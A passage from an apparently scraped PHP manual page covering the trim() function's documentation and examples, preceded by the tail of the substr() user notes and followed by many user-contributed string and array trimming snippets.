return($post);
}

// for example, this would return:
$output = text("Well this text doesn't get cut up, yet thisssssssssssssssssssssssss one does.", 10, 5);

echo($output); // "Well this text doesn't get cup up, yet thiss sssss sssss sssss sssss sss one does."
?>

I hope it was useful.. :)
steve at unicycle dot co dot nz 13-Mar-2005 09:34
To quickly trim an optional trailing slash off the end of a path name:

if (substr( $path, -1 ) == '/') $path = substr( $path, 0, -1 );
Matias from Argentina 24-Feb-2005 12:55
Hello,
Here you are a function to format your
numeric strings. Enjoy it.

<?php
function str_format_number($String, $Format){
    if ($Format == '') return $String;
    if ($String == '') return $String;

    $Result = '';
    $FormatPos = 0;
    $StringPos = 0;
    While ((strlen($Format) - 1) >= $FormatPos){
        //If its a number => stores it
        if (is_numeric(substr($Format, $FormatPos, 1))){
            $Result .= substr($String, $StringPos, 1);
            $StringPos++;
        //If it is not a number => stores the caracter
        } Else {
            $Result .= substr($Format, $FormatPos, 1);
        }
        //Next caracter at the mask.
        $FormatPos++;
    }

    return $Result;
}

// For phone numbers at Buenos Aires, Argentina
// Example 1:
    $String = "541143165500";
    $Format = "+00 00 0000.000";
    Echo str_format_number($String, $Format); // Returns "+54 11 4316.5500"

// Example 2:
    $String = "541143165500";
    $Format = "+00 00 0000.0000000";
    Echo str_format_number($String, $Format); // Returns "+54 11 4316.5500"

// Example 3:
    $String = "541143165500";
    $Format = "+00 00 0000.000 a";
    Echo str_format_number($String, $Format); // Returns "+54 11 4316.550 a"

?>

How it works explanation:

str_format_number($String, $Format)
Spects two parameters $String and $Format,
both should be strings.
$String: coulbe any kind of data type,
but it's oriented to numeric string, like
phone numbers.
$Format: should be a conjunction between
numbers (any one) and others caracters.

str_format_number takes each caracter
of $Format, if it isn't a number stores
it to be returned later, but if it is a
number takes the caracter of $String
placed in the position corresponding to
the amount of numbers in $Format so far
starting from zero.

If $Format has less numbers than $string
caracters the rest of the caracters at
the end of $String should be ignored.
If $Format has more numbers than $string
caracters the no caracter will be used,
so those will be ignored.
crashmanATgreenbomberDOTcom 21-Feb-2005 06:34
A fellow coder pointed out to me that $string{-n} will no longer return the character at postion -n is. Use $string{strlen($string) - n) instead.
andrewmclagan at gmail dot com 20-Feb-2005 01:58
Hi there here is a little function i wrote to limit the number of lines in a string, i could not find anything else like it out there

<?php
function lineLimiter ($string = "", $max_lines = 1) {

         $string = ereg_replace("\n", "##", $string);

         $totalLines = (substr_count($string, '##') + 1);

         $string = strrev($string);

         $stringLength = strlen($string);

         while ($totalLines > $max_lines) {
             $pos = 0;
             $pos = strpos ( $string, "##") + 2;
             //$pos = $pos - $stringLength;
             $string = substr($string, $pos);
             $totalLines--;
         }
         $string = strrev($string);
          $string = ereg_replace("##", "\n", $string);
         return $string;
    }
?>
vitalic#pisem.net 15-Dec-2004 03:26
Split $string after each $pos, by $space
Example: <?php spaceStr('1836254','-',3); ?>
Would return '183-625-4';

<?php
function spaceStr($string,$space,$pos)
{
       $cpos=$pos;
       while ($cpos<strlen($string))
       {
         $string=substr($string,0,$cpos).$space.substr($string,$cpos);
         $cpos+=strlen($space)+$pos;
       };
       return $string;
}

?>
kovacsendre at no_spam_thanks_kfhik dot hungary 02-Nov-2004 07:38
Here are the replacement functions for substr() and strlen() I use when support for html entities is required:

<?php

function html_strlen($str) {
  $chars = preg_split('/(&[^;\s]+;)|/', $str, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
  return count($chars);
}

function html_substr($str, $start, $length = NULL) {
  if ($length === 0) return ""; //stop wasting our time ;)

  //check if we can simply use the built-in functions
  if (strpos($str, '&') === false) { //No entities. Use built-in functions
    if ($length === NULL)
      return substr($str, $start);
    else
      return substr($str, $start, $length);
  }

  // create our array of characters and html entities
  $chars = preg_split('/(&[^;\s]+;)|/', $str, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_OFFSET_CAPTURE);
  $html_length = count($chars);

  // check if we can predict the return value and save some processing time
  if (
       ($html_length === 0) /* input string was empty */ or
       ($start >= $html_length) /* $start is longer than the input string */ or
       (isset($length) and ($length <= -$html_length)) /* all characters would be omitted */
     )
    return "";

  //calculate start position
  if ($start >= 0) {
    $real_start = $chars[$start][1];
  } else { //start'th character from the end of string
    $start = max($start,-$html_length);
    $real_start = $chars[$html_length+$start][1];
  }

  if (!isset($length)) // no $length argument passed, return all remaining characters
    return substr($str, $real_start);
  else if ($length > 0) { // copy $length chars
    if ($start+$length >= $html_length) { // return all remaining characters
      return substr($str, $real_start);
    } else { //return $length characters
      return substr($str, $real_start, $chars[max($start,0)+$length][1] - $real_start);
    }
  } else { //negative $length. Omit $length characters from end
      return substr($str, $real_start, $chars[$html_length+$length][1] - $real_start);
  }

}

?>

Example:

html_substr("&aacute;bla&#54;bla", 1, 4) -> "bla&#54;"

If you happen to find any bugs, please let me know.
lmak at NOSPAM dot iti dot gr 17-Aug-2004 11:59
Regarding windix's function to handle UTF-8 strings: one can use the "u" modifier on the regular expression so that the pattern string is treated as UTF-8 (available from PHP 4.1.0 or greater on Unix and from PHP 4.2.3 on win32). This way the function works for other encodings too (like Greek for example).

The modified function would read like this:

<?php
function utf8_substr($str,$start)
{
   preg_match_all("/./u", $str, $ar);

   if(func_num_args() >= 3) {
       $end = func_get_arg(2);
       return join("",array_slice($ar[0],$start,$end));
   } else {
       return join("",array_slice($ar[0],$start));
   }
}
?>
phplist at boonedocks dot net 28-Aug-2003 01:39
If 'start' is negative and greater than the length of the string, PHP seems to return the first 'length' characters of the string. For example, substr('test',-10,1) returns 't'.
05-Jul-2003 05:39
If you want to substring the middle of a string with another and keep the words intact:

<?php
/**
 * Reduce a string by the middle, keeps whole words together
 *
 * @param string $string
 * @param int $max (default 50)
 * @param string $replacement (default [...])
 * @return string
 * @author david at ethinkn dot com
 * @author loic at xhtml dot ne
 * @author arne dot hartherz at gmx dot net
 */

function strMiddleReduceWordSensitive ($string, $max = 50, $rep = '[...]') {
    $strlen = strlen($string);

    if ($strlen <= $max)
        return $string;

    $lengthtokeep = $max - strlen($rep);
    $start = 0;
    $end = 0;

    if (($lengthtokeep % 2) == 0) {
        $start = $lengthtokeep / 2;
        $end = $start;
    } else {
        $start = intval($lengthtokeep / 2);
        $end = $start + 1;
    }

    $i = $start;
    $tmp_string = $string;
    while ($i < $strlen) {
        if ($tmp_string[$i] == ' ') {
            $tmp_string = substr($tmp_string, 0, $i) . $rep;
            $return = $tmp_string;
        }
        $i++;
    }

    $i = $end;
    $tmp_string = strrev ($string);
    while ($i < $strlen) {
        if ($tmp_string[$i] == ' ') {
            $tmp_string = substr($tmp_string, 0, $i);
            $return .= strrev ($tmp_string);
        }
        $i++;
    }
    return $return;
    return substr($string, 0, $start) . $rep . substr($string, - $end);
}

echo strMiddleReduceWordSensitive ('ABCDEEF GHIJK LLKJHKHKJHKL HGHFK sdfasdfsdafsdf sadf asdf sadf sad s', 30) . "\n";
// Returns: ABCDEEF GHIJK[...]asdf sadf sad s (33 chrs)
echo strMiddleReduceWordSensitive ('ABCDEEF GHIJK LLKJHKHKJHKL HGHFK sdfasdfsdafsdf sadf asdf sadf sad s', 30, '...') . "\n";
// Returns: ABCDEEF GHIJK...asdf sadf sad s (32 chrs)
?>
substr_replace
trim
String Functions


Strip whitespace (or other characters) from the beginning and end of a string

substr
ucfirst
String Functions
PHP Manual

trim

(PHP 4, PHP 5)

trim — Strip whitespace (or other characters) from the beginning and end of a string

Description

string trim ( string $str [, string $charlist ] )

This function returns a string with whitespace stripped from the beginning and end of str. Without the second parameter, trim() will strip these characters:

  • " " (ASCII 32 (0x20)), an ordinary space.
  • "\t" (ASCII 9 (0x09)), a tab.
  • "\n" (ASCII 10 (0x0A)), a new line (line feed).
  • "\r" (ASCII 13 (0x0D)), a carriage return.
  • "\0" (ASCII 0 (0x00)), the NUL-byte.
  • "\x0B" (ASCII 11 (0x0B)), a vertical tab.

Parameters

str

The string that will be trimmed.

charlist

Optionally, the stripped characters can also be specified using the charlist parameter. Simply list all characters that you want to be stripped. With .. you can specify a range of characters.

Return Values

The trimmed string.

Changelog

Version | Description
4.1.0 | The optional charlist parameter was added.

Examples

Example #1 Usage example of trim()

<?php

$text   = "\t\tThese are a few words :) ...  ";
$binary = "\x09Example string\x0A";
$hello  = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = trim($text);
var_dump($trimmed);

$trimmed = trim($text, " \t.");
var_dump($trimmed);

$trimmed = trim($hello, "Hdle");
var_dump($trimmed);

$trimmed = trim($hello, 'HdWr');
var_dump($trimmed);

// trim the ASCII control characters at the beginning and end of $binary
// (from 0 to 31 inclusive)
$clean = trim($binary, "\x00..\x1F");
var_dump($clean);

?>

The above example will output:

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(28) "These are a few words :) ..."
string(24) "These are a few words :)"
string(5) "o Wor"
string(9) "ello Worl"
string(14) "Example string"

Example #2 Trimming array values with trim()

<?php
function trim_value(&$value)
{
    $value = trim($value);
}

$fruit = array('apple','banana ', ' cranberry ');
var_dump($fruit);

array_walk($fruit, 'trim_value');
var_dump($fruit);

?>

The above example will output:

array(3) {
  [0]=>
  string(5) "apple"
  [1]=>
  string(7) "banana "
  [2]=>
  string(11) " cranberry "
}
array(3) {
  [0]=>
  string(5) "apple"
  [1]=>
  string(6) "banana"
  [2]=>
  string(9) "cranberry"
}

Notes

Note: Possible gotcha: removing middle characters

Because trim() trims characters from the beginning and end of a string, it may be confusing when characters are (or are not) removed from the middle. trim('abc', 'bad') removes both 'a' and 'b' because it trims 'a' thus moving 'b' to the beginning to also be trimmed. So, this is why it "works" whereas trim('abc', 'b') seemingly does not.

See Also

  • ltrim() - Strip whitespace (or other characters) from the beginning of a string
  • rtrim() - Strip whitespace (or other characters) from the end of a string
  • str_replace() - Replace all occurrences of the search string with the replacement string

User Contributed Notes

Jesse Oberlin 07-Nov-2011 06:37
trim_chars
(trim string or character off beginning and end of a string)

<?php
function  trim_chars($string,$char,$whitespace_first=null){
    $string = ($whitespace_first ? trim($string) : $string);
    $trimmed = ( substr($string,-1)==$char ? substr($string,($string[0]==$char ? 1 : 0),-1) : substr($string,($string[0]==$char ? 1 : 0)) );
    return ( $trimmed == $string ? $trimmed : trim_str($trimmed,$char) );
}
?>

usage:
<?php
  echo trim_chars('&%$abc&%$', '&%$');
  echo trim_chars(' &%$abc&%$ ', '&%$', true);
  echo trim_chars(' %%%abc%%% ', '&%$', false);
  echo trim_chars('&%$abc&%$ ', '&%$', false);
?>

outputs:
  'abc'
  'abc'
  ' &%$abc&%$ '
  'abc&%$ '
Lea Hayes 10-Aug-2011 05:22
Combined filter and trim array.

<?php
function _trim_value(&$value) {
    if (is_string($value))
        $value = trim($value);
}

function array_filter_and_trim($arr) {
    array_walk($arr, '_trim_value');
    return array_filter($arr);
}
?>
gerjoo at gmail dot com 03-Jun-2011 08:38
On my application I had several users submit what to me appeared as "empty strings", whereas in fact they were submitting the &shy; character.

Trim, by default, does not strip this character (Though arguably it should). The following code strips this character from your input:

<?php

// As the &shy; character is invisible we'll simply use the ASCII numeric representation, and decode via chr():
$string = trim($string, chr(173));

// If you wish to strip all occurences this will work:
$string = str_replace(chr(173), "", $string);

?>

Gerard
akarmenia at gmail dot com 05-Apr-2011 06:49
Here's a function to trim strings recursively within an array.

<?php

// Trim a string or an array of strings recursively
function trim_r($array) {
    if (is_string($array)) {
        return trim($array);
    } else if (!is_array($array)) {
        return '';
    }
    $keys = array_keys($array);
    for ($i=0; $i<count($keys); $i++) {
        $key = $keys[$i];
        if ( is_array($array[$key]) ) {
            $array[$key] = trim_r($array[$key]);
        } else if ( is_string($array[$key]) ) {
            $array[$key] = trim($array[$key]);
        }
    }
    return $array;
}

// Test
$a = array(' cat ', ' dog ' => ' mouse ', 234);
print_r(trim_r($a));

?>

Array
(
    [0] => cat
    [ dog ] => mouse
    [1] => 234
)
gmutale at yahoo dot com 01-Oct-2010 02:11
To trim all strings and remove CR.

<?php
$arr = array('apple', 'orange');
$arr2 = array('name' => 'James', 'zipcode' => '1234', $arr);
$data = array($arr2, 'peach');

array_walk_recursive($data, 'trim_all');
print_r($data);

function trim_all(&$value)
{
  if (is_array($value))
  {
    array_walk_recursive($value, 'trim_all');
  }
  else
  {
    $value = trim(str_replace("\r\n", "\n", $value));
  }
}
?>
Knut Kohl 25-Aug-2010 05:59
Please consider the following:

<?php
$a = '0';

if (trim($a)) {
  echo 'Never ever ...';
} else {
  echo 'YES, "(bool)trim(\'0\')" is FALSE';
}
?>

So never forget to use:

if (trim($a) != '') ...

This cast costs me some time...
ludko2 at gmail dot com 09-Jul-2010 02:28
Non-breaking spaces can be troublesome with trim:

<?php
// turn some HTML with non-breaking spaces into a "normal" string
$myHTML = "&nbsp;abc";
$converted = strtr($myHTML, array_flip(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES)));

// this WILL NOT work as expected
// $converted will still appear as " abc" in view source
// (but not in od -x)
$converted = trim($converted);

// &nbsp; are translated to 0xA0, so use:
$converted = trim($converted, "\xA0"); // <- THIS DOES NOT WORK

// EDITED>>
// UTF encodes it as chr(0xC2).chr(0xA0)
$converted = trim($converted,chr(0xC2).chr(0xA0)); // should work

// PS: Thanks to John for saving my sanity!
?>
Onur Nizam ( onur dot nizam at yahoo dot com ) 16-May-2010 07:45
While inserting data from web forms to databases, trimming the posted values to remove the spaces from the left and right sides can be a good idea to avoid the user faults. This code have to be located before the DB operations.

<?php

/* Stripping whitespaces from left and right sides of all posted data.
 * Put this before working with posted data.
 *
*/

// Remove whitespaces from left and right sides.
function removeSpaces($str) {
  $newStr = trim($str);
  return $newStr;
}

// If any data posted to the page, send them for trimming.
if ($_POST) {
  foreach ($_POST as $var => $value) {
    $value=removeSpaces($value);
    $_POST[$var] = $value;
  }
}

?>
james [at] bandit -dot- co -dot- nz 09-Apr-2010 04:29
Trims occurances of every word in an array from the beginning and end of a string + whitespace and optionally extra single characters as per normal trim()

<?php
function trim_words($what, $words, $char_list = '') {
    if(!is_array($words)) return false;
    $char_list .= " \t\n\r\0\x0B"; // default trim chars
    $pattern = "(".implode("|", array_map('preg_quote', $words)).")\b";
    $str = trim(preg_replace('~'.$pattern.'$~i', '', preg_replace('~^'.$pattern.'~i', '', trim($what, $char_list))), $char_list);
    return $str;
}

// for example:
$trim_list = array('AND', 'OR');

$what = ' OR x = 1 AND b = 2 AND ';
print_r(trim_words($what, $trim_list)); // => "x = 1 AND b = 2"

$what = ' ORDER BY x DESC, b ASC, ';
print_r(trim_words($what, $trim_list, ',')); // => "ORDER BY x DESC, b ASC"
?>
thek at o2 dot pl 17-Feb-2010 02:36
There is a trap when making "form prefilters". Something like
$_POST = array_map('trim', $_POST)
may be not what we wanted, because when there are arrays in form made by field[] this "prefilter" return not an array but, according to his behavior, string. So as a effect we see in var_dump not array but field = "Array" what can mess up our validation.
holek dot n at gmail dot com 09-Sep-2009 03:59
Admendum to this note:
<?php
// trim the ASCII control characters at the beginning and end of $binary
// (from 0 to 31 inclusive)
$clean = trim($binary, "\x00..\x1F");
?>
I had a big time with my WWW parser, which produced XML errors because of illegal characters in the outside files. So I decided to wipe them out.
If you want to remove all illegal SGML characters (ASCII coces 0 to 31 inclusive and 127 to 159 inclusive) from the whole string, (remember that trim doesn't work inside a string, just on the borders) here's how to do that:

<?php
$title = "Autobus zamiast \x1EHetmana\x1D";
$replaceArray = array(array(), array()); // this is a replace array for illegal SGML characters;
for ($i=0; $i<32; $i++)                  // produces a correct XML output
{
    $replaceArray[0][] = chr($i);
    $replaceArray[1][] = "";
}
for ($i=127; $i<160; $i++)
{
    $replaceArray[0][] = chr($i);
    $replaceArray[1][] = "";
}
$title = str_replace($replaceArray[0], $replaceArray[1], $title); // get rid of illegal SGML chars
echo $title; // prints out "Autobus zamiast Hetmana"
?>

Now $title can be printed into an XML/XHTML file without worries.
jamesp at westcoastaerospace dot com 06-Aug-2009 09:54
As another poster has pointed out, chr(160) is also important to filter out. This is the ascii representation of an html "hard space", and it will show up sometimes in your datasources, especially if the data was copied-and-pasted from a web browser from a page that used hard spaces to force layout.

This is not just a Windows problem. I am on a Mac and I have had to deal with it too (although the data in question may have indeed originally come from a windows user, I don't know.)
chrisstocktonaz at gmail dot com 22-May-2009 12:39
Note for trimming arrays that you can easily use array_map if you don't want to specify the characters.

<?php
var_dump(array_map('trim', Array(' Test ', 'Test ', ' Test')));
?>
Andrew 15-May-2009 09:01
It should be mentioned that if you use the second charlist parameter, you are overriding the defaults, not adding to them. You would need to either explicitly add them to the charlist or call trim twice, like so:

<?php

$str = trim(trim($str), './@#$');

?>
andycbio at gmail dot com 21-Apr-2009 03:37
A cell read from an Excel sheet appeared to have a whitespace, and this was not getting trimmed. By converting to hex, it seems the char was a hard return.

Successfully trimmed it by:

<?php
trim($value, "\xc2\xa0");
?>

The actual hex values may vary by character set, check with bin2hex() for what's actually there.
info at jlammertink dot nl 08-Apr-2009 01:35
I made this function to trim texts.
Removes al double horizontal and vertical whitespace chars.

<?php
function trimText($str)
{
    $str = trim($str);
    $str = preg_replace('/\h+/', ' ', $str);
    $str = preg_replace('/\v{3,}/', PHP_EOL.PHP_EOL, $str);

    return $str;
}
?>
Anonymous 21-Mar-2009 03:48
small fix for the trimString function to proof against slash and backslash:

<?php
function trimString($input, $string){
        $input = trim($input);
        $string = str_replace("\\", "\\\\", $string);
        $string = str_replace('/', '\\/', $string);
        $startPattern = "/^($string)+/i";
        $endPattern = "/($string)+$/i";
        return trim(preg_replace($endPattern, '', preg_replace($startPattern,'',$input)));
}
?>
dev dot ivangc at gmail dot com 26-Feb-2009 06:23
If what you need is delete a string instead of character, this function could help you:

<?php
function trimString($input, $string){
        $input = trim($input);
        $startPattern = "/^($string)+/i";
        $endPattern = "/($string)+$/i";
        return trim(preg_replace($endPattern, '', preg_replace($startPattern,'',$input)));
}
?>

Use:
<?php
echo trimString("      Hello world!. I said hello", "hello")
?>
Will return:
world!. I said
dead dot screamer at seznam dot cz 27-Jan-2009 03:29
some of "trim array" functions
this trim strings, arrays and objects:
<?php
function trimA($str, $set=null)
{
    if(is_Array($str) || is_Object($str))
        foreach($str as &$s)
            $s=trimA($s,$set);
    elseif($set===null)$str=trim($str);
    else $str=trim($str,$set);
    return $str;
}
?>
josecruz at josecruz dot com dot br 21-Nov-2008 05:50
A simple function to clear extra white spaces along a string.
<?php
function TrimStr($str)
{
    $str = trim($str);
    for($i=0;$i < strlen($str);$i++)
    {

        if(substr($str, $i, 1) != " ")
        {

            $ret_str .= trim(substr($str, $i, 1));

        }
        else
        {
            while(substr($str,$i,1) == " ")

            {
                $i++;
            }
            $ret_str.= " ";
            $i--; // ***
        }
    }
    return $ret_str;
}
?>

[EDIT BY danbrown AT php DOT net: Contains a fix provided by (info AT deep-soft DOT com) to address the issue where "it deletes the first char after spaces (because of while)."]
colnector at colnect dot com 26-Aug-2008 06:21
The following function will assist you in case you wish to trim a string but keep the parts trimmed. I'm using it to strip phrases for translation on my site.

Example:
cleanPhrase('  (this () is it)');

Will return:
Array
(
    [left] =>   (
    [right] => )
    [clean] => this () is it
)

<?php
    /**
     * Trims some of the characters from the phrase
     *
     * @param string $phrase - to be "cleaned"
     * @param string $dirtyChars - the characters that need be removed
     * @return string
     */
    public static function cleanPhrase($phrase, $dirtyChars = " \t\n()[]:.\"'") {
        $len = strlen($phrase);
        for($i=0; $i < $len; $i++) {
            $pos = strpos($dirtyChars, substr($phrase, $i, 1));
            if ($pos === false) break;
        }
        for($j=$len-1; $j >= 0; $j--) {
            $pos = strpos($dirtyChars, substr($phrase, $j, 1));
            if ($pos === false) break;
        }

        $res = array();
        $res['left'] = substr($phrase, 0, $i);
        $res['right'] = substr($phrase, $j+1);
        $res['clean'] = substr($phrase, $i, $j-$i+1);

        return $res;
    }
?>
aalaap at gmail dot com 17-Jun-2008 11:42
If you want to remove all excessive spaces and leave just a single one, like the way HTML text gets rendered in the browser, this function (modified from one posted here earlier) will work:

function str_squeeze($test) {
    return trim(ereg_replace( ' +', ' ', $test));
}

The result is that a string such as "hello___how_are__you_" (where the _ is a space) will result in a more sane "hello_how_are_you".
luciano[dot]longo[at]gmail 25-Apr-2008 10:17
Yet another array trim, recursive too.
I think this one is pretty usefull, though it lacks charlist, you can add that functionality if you need to, it's not that hard ;)
Anyway, one feature that I added, and I find pretty usefull, is that it can splice an empty position if you want to

<?php
function array_trim_recursive(&$array, $splice_empty = true) {
    foreach($array as $k => &$v) {
        if(is_array($v)) {
            array_trim_recursive($v, $splice_empty);
        } else {
            $array[$k] = trim($v);
            iif(!$v && $splice_empty) {
                array_splice($array, $k, 1);
            }
        }
    }
}
?>
davidsteinsland [at] gmail [dot] com 25-Apr-2008 10:19
I've noticed that many needs to remove multiple lines in the end of a string, so I made this function. Pretty easy, actually. It removes all unnecessary newlines (or something else, if $char is set)

<?php
function remove_unnecessary ($str, $char = "\n") {
    while (true) {
        if (substr ($str, -(strlen($char))) == $char) {
            $str = substr ($str, 0, -(strlen($char)));
        } else {
            break;
        }
    }

    return $str;
}

$Str = "Hello\nHello\n\n\n\n\n\n\n\n\n";

// Outputs: Hello\nHello
echo remove_unnecessary ($Str);
?>
me at robhaswell dot co dot uk 16-Apr-2008 04:50
admin at semaster dot ru's array_trim function is flawed in that it will change the type of nulls and numeric variables (to strings).

Here is a better version, although it lacks charlist support:

<?php
function array_trim($var) {
    if (is_array($var))
        return array_map("array_trim", $var);
    if (is_string($var))
        return trim($var);
    return $var;
}
?>

-Rob
carl at rusco dot com 24-Dec-2007 09:53
as mentioned, a str_replace(' ', '', $string) does execute faster than Robin Leffmann's ereg_replace; however, the regular expression Leffmann supplied has the ability of also stripping out only -single- whitespaces as by his comment, whereas the blunt str_replace will simply sweep all of them away, single as cascading. one tool for each job.
Pinco Pallino 01-Sep-2007 12:08
As already commented by thers the solution from Robin Leffmann to remove "all"
the spaces from a string not only does not trim the "other" chars besides plain
spaces but is at all not faster than jayoungh5's proposal.

The only faster way I can imagine of is:

function trimall($str, $charlist = " \t\n\r\0\x0B")
{
  return str_replace(str_split($charlist), '', $str);
}

However jayoungh5's one might still be faster for very large sets of characters
to be stripped.
hkb at hkb dot it 24-Aug-2007 03:03
I have made this simple function to trim the whole string instead of just the beginning and end...

<?php

function strTrimTotal($input) {

    $input = trim($input);

    for($i=0;$i<strlen($input);$i++) {

        if(substr($input, $i, 1) != " ") {

            $output .= trim(substr($input, $i, 1));

        } else {

            $output .= " ";

        }

    }

    return $output;
}

?>
lxg 16-Aug-2007 05:26
masteremployment's solution in a function, and with preg_replace() instead of ereg_replace():

<?php
function removeWhitespace($string)
{
    if (!is_string($string))
        return false;

    $string = preg_quote($string, '|');
    return preg_replace('|  +|', ' ', $string);
}
?>
Hayley Watson 09-Aug-2007 10:49
Robin Leffman's code could be improved further...
<?php
$string = 'This string  has   no    whitespaces.';
echo str_replace(' ', '', $string );
?>

Of course, like Leffman's code, that only removes space characters, not necessarily all whitespace (or characters in some arbitrary $whiteSpace string). For that
<?php
function trimlrm ($hayStack, $whiteSpaceChars)
{
    $char = $whiteSpaceChars[0];
    $chars = str_repeat($char, strlen($whiteSpaceChars);
    $trimmed = strtr($hayStack, $whiteSpaceChars, $chars)));
    return str_replace($char, '', $trimmed);
}
?>
would probably work, but like the others, fails to give '..' the same specialness that it has in trim().
moehbass at gmail dot com 06-Jul-2007 12:48
Responding to Robin Leffmann:
jayoungh5 wrote a function to trim whitespace on the left, on the right, in the middle, everywhere (Below). It iterates through the string's characters. Yours, claimed to be faster, uses a regex function. I think it should be slower since I believe that dealing with a regex is iterative in nature and add to that the possibility of recursion! Perhaps your function is shorter in code lines.
I am not absolutely positive, so take this as a clue but research for a more solid truth.
Robin Leffmann 26-Jun-2007 05:13
Here's a faster way to do what's described below:

<?php
$string = 'This string  has   no    whitespaces.';
echo ereg_replace( ' +', '', $string );
?>

Output: Thisstringhasnowhitespaces.

If you want it to replace only single whitespaces instead of both single and cascading dito, remove the + in the first parameter of ereg_replace().
Hayley 19-Mar-2007 02:36
trim's code can of course be simplified with some use of the trim() function....

<?php
$str = "  Words with  lots      of  spaces    ";
$str = preg_replace('/\s\s+/', ' ', trim($str));
?>

Doing the trim() first reduces the workload being put on the more expensive preg_replace().
24-Jan-2007 08:04
I use this to remove leading, trailing and "more than one" space in between words.

$pat[0] = "/^\s+/";
$pat[1] = "/\s{2,}/";
$pat[2] = "/\s+\$/";
$rep[0] = "";
$rep[1] = " ";
$rep[2] = "";
$str = "  Words with   lots      of  spaces     ";
$str = preg_replace($pat,$rep,$str);
// Output
"Words with lots of spaces"
Piopier 12-Jan-2007 06:06
It may be useful to know that trim() returns an empty string when the argument is an unset/null variable.
asbo/at\iserv/dot\net 19-Nov-2006 12:40
If you need to trim a string from the beginning and end of a string, then this function maybe prove handy.

<?php
function lrclean($str,$rm) {
  $i = strlen($rm);
  do {
    if (substr($str,0,$i) == $rm) {$str = substr($str,$i);}
  } while (substr($str,0,$i) == $rm);

  do {
    if (substr($str,-$i,$i) == $rm) {$str = substr($str,0,-$i);}
  } while (substr($str,-$i,$i) == $rm);

  return $str;
}

// prints 'text'
echo lrclean('xyztextxyz','xyz');
?>
phazei at excite dot com 10-Jul-2006 04:39
I had some issues using <? array_map('trim',$array) ?> when there was an array in array.  All arrays were replaced by the string "Array", drove me crazy.
Hopefully this will help someone:
<?php
function trim_array($totrim) {
    if (is_array($totrim)) {
        $totrim = array_map("trim_array", $totrim);
    } else {
        $totrim = trim($totrim);
    }
    return $totrim;
}
?>
USE:
<?php
$trimmed_array = trim_array($untrimmed_array);
?>

This function should recurse all embeded arrays.
rchaube at staff dot atlantic dot net 18-Feb-2006 01:03
I was accepting text pasted from a csv file into a textarea in my code. I found that even using trim was not able to get rid of the whitespace characters at the end of the string.
Finally, using this helped:

$result = trim($source,"\x7f..\xff\x0..\x1f");

Hope this saves someone few hours. All thanks to previous comment from HW for this
asharm4 at ilstu dot edu 17-Jan-2006 09:30
This staetment removes the trailing and leading whitespaces from the string..Really useful when handling the form values submitted by a visitor or analyzing a log file.

$trimmed_string = preg_replace ( "/\s\s+/" , " " , $untrimmed_string );

Note : thsi would only remove leading and trailing whitespaces. For the whitespaces in the string use any of the above methods.
Martin Kealey 14-Dec-2005 02:10
Using "trim" to minimize the format of a decimal number strikes me as awkward. I would just use:

   $str += 0;

This even has the added benefit of ensuring that you have at least one digit (and thus have a valid number) even if the original was empty.
warhog at warhog dot net 07-Dec-2005 12:28
I was wondering about much of the examples given below, but the current (2005-12-07) function definition in the manual is not correct.

The function trim is defined as

trim(string string [, string charlist])

you must give the string-parameter and you can optionally add a parameter charlist - these chars are the chars to strip from the beginning and the end of the file.
(its self-evident that the default of this parameter is "\n\t\r\h\v\0 ")

hope that'll help - and that the docs are updated.. i don't know since which php-version that optional parameter can be used - i know that it works with PHP >= 4.3 & >= 5.0 . Maybe it's beeing there since 10 years and just an enormous insider :-)
davis_utah at yahoo dot com 01-Sep-2005 11:30
Just a word of caution when looping through a batch of strings (in the thousands or more). Using trim to take off a left over character (like a comma in a csv output) will result in a much slower execution. It is better to use a tiny bit of conditional logic instead.

I believe the reason this is the case is because of having to create a new spot in memory to temporarily handle the result of trim.

Hope this helps.
rifter at cox dot net 16-Jul-2005 12:49
Chris wrote:
> Here's a neat function to trim off extraneous zeros and  the > decimal, leaving important numbers intact:
> ...

  Actually use:
<?php
...
  return rtrim(trim($num, '0'), '.');
...
?>
This ensures that a left leading decimal place doesn't get removed i.e. 00.010 should return .01 and not 01.
chris dot cowart at gmail dot com 05-Jul-2005 10:20
Here's a neat function to trim off extraneous zeros and  the decimal, leaving important numbers intact:

<?php

function clean_num($num){
  return trim(trim($num, '0'), '.');
}

echo clean_num('06000.3050');
echo clean_num('500.00');

?>

Output:
6000.305
500

I find it very handy to use when pulling data from decimal fields in MySQL and putting them into <input> fields. Makes everything cleaner :)
14-Jun-2005 09:54
here's a heads up folks.

in the event that you want to check the result of a trim for being empty the following code fails::

$emptyvar = " ";
if ( empty(trim($emptyvar)) )
{
    echo "It was empty";
}

this code works as expected::

$emptyvar = " ";
$check = trim($emptyvar);
if ( empty($check) )
{
    echo "It was empty";
}
okumurya at hotmail dot com 05-Jun-2005 04:01
fread/fwrite blocks program when no data available.
so, you consider use select system call.
following is example.

<?php
  /**
   *
   * write/read pipe
   *
   * @param resource $w_fp write file handle
   * @param resource $r_fp read file handle
   * @param string $input
   * @return string
   */
  function _writeread_pipe(&$w_fp, &$r_fp, $input) {
    $output = '';
    $write_bytes = 0;

    //
    while (True) {
      if (!isset($r_fp) && !isset($w_fp)) break;

      $read = isset($r_fp) ? array($r_fp) : Null;
      $write = isset($w_fp) ? array($w_fp) : Null;

      // select pipes
      $r = stream_select($read,
                         $write,
                         $except = Null,
                         30
                         );
      if ($r === False) {
        return PEAR::raiseError('process timeout');
      }

      // read pipe
      if (isset($read) && isset($read[0])) {
        do {
          $buf = fread($r_fp, 1024);
          if (strlen($buf) == 0) {
            fclose($r_fp);
            $r_fp = Null;
            break;
          }
          $output .= $buf;
        } while (True);
      }

      // write pipe
      if (isset($write) && isset($write[0])) {
        $r = fwrite($w_fp, substr($input, $write_bytes));
        if ($r === False) {
          return PEAR::raiseError('process write error');
        }

        $write_bytes += $r;
        if ($write_bytes == strlen($input)) {
          fclose($w_fp);
          $w_fp = Null;
        }
      }
    }

    return $output;
  }

?>
dmr37 at cornell dot edu 17-May-2005 12:47
Note that manithu's post on 29-Mar-2005 02:49 for identifying strings that only contain whitespaces will also identify strings like "0" and " 0   " as being empty.  If you want to check whether something ONLY has whitespaces, use the following:

<?php

if (trim($foobar)=='') {
   echo 'The string $foobar only contains whitespace!';
}

?>
